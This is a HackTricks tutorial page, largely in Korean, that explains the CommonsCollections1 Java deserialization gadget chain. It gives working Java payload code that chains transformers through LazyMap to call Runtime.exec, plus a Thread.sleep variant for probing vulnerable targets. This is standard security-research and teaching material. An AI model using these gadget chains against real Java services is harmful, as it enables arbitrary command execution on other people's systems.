CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Support HackTricks

Java Transformers to Rutime exec()

여러 곳에서 다음과 같은 Apache common collections의 transformers를 사용하는 java deserialization payload를 찾을 수 있습니다:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Java deserialization payloads에 대해 아무것도 모른다면 이 코드가 calc를 실행하는 이유를 파악하기 어려울 수 있습니다.

우선, Java의 Transformer클래스를 수신하고 다른 클래스로 변환하는 것입니다. 또한 여기서 실행되는 payload다음과 동등하다는 것을 아는 것이 흥미롭습니다:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

또는 더 정확히 말하자면, 마지막에 실행될 것은:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

방법

그래서, 첫 번째 페이로드가 그 "간단한" 원라이너와 어떻게 동등한가요?

첫째로, 페이로드에서 변환의 체인(배열)이 생성된다는 것을 알 수 있습니다:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

코드를 읽어보면 배열의 변환을 어떻게든 연결하면 임의의 명령을 실행할 수 있다는 것을 알 수 있습니다.

그래서, 그 변환들은 어떻게 연결되나요?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

마지막 섹션에서 Map 객체가 생성됩니다. 그런 다음, LazyMap에서 맵 객체와 체인된 변환기를 사용하여 decorate 함수가 실행됩니다. 다음 코드를 통해 체인된 변환기lazyMap.factory 속성 안에 복사되는 것을 확인할 수 있습니다:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

그리고 마지막 대미를 장식하는 것은 실행된다: lazyMap.get("anything");

이것은 get 함수의 코드이다:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

그리고 이것은 transform 함수의 코드입니다.

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

그래서, factory 안에 **chainedTransformer**를 저장했음을 기억하세요. 그리고 transform 함수 안에서 우리는 모든 체인된 변환기를 순회하며 하나씩 실행하고 있습니다. 재미있는 점은 각 변환기가 object 를 입력으로 사용하고 object는 마지막으로 실행된 변환기에서 출력됩니다. 따라서 모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다.

요약

결국, lazyMap이 get 메서드 안에서 체인된 변환기를 관리하는 방식 때문에, 마치 우리가 다음 코드를 실행하는 것과 같습니다:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

각 변환의 입력이 value이고 이전 변환의 출력임을 주목하세요. 이는 한 줄짜리 실행을 가능하게 합니다:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.

Java Thread Sleep

이 페이로드는 웹이 취약한지 식별하는 데 유용할 수 있습니다. 취약하다면 슬립을 실행할 것입니다.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

더 많은 가젯

더 많은 가젯을 여기에서 찾을 수 있습니다: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

HackTricks 지원하기

Last updated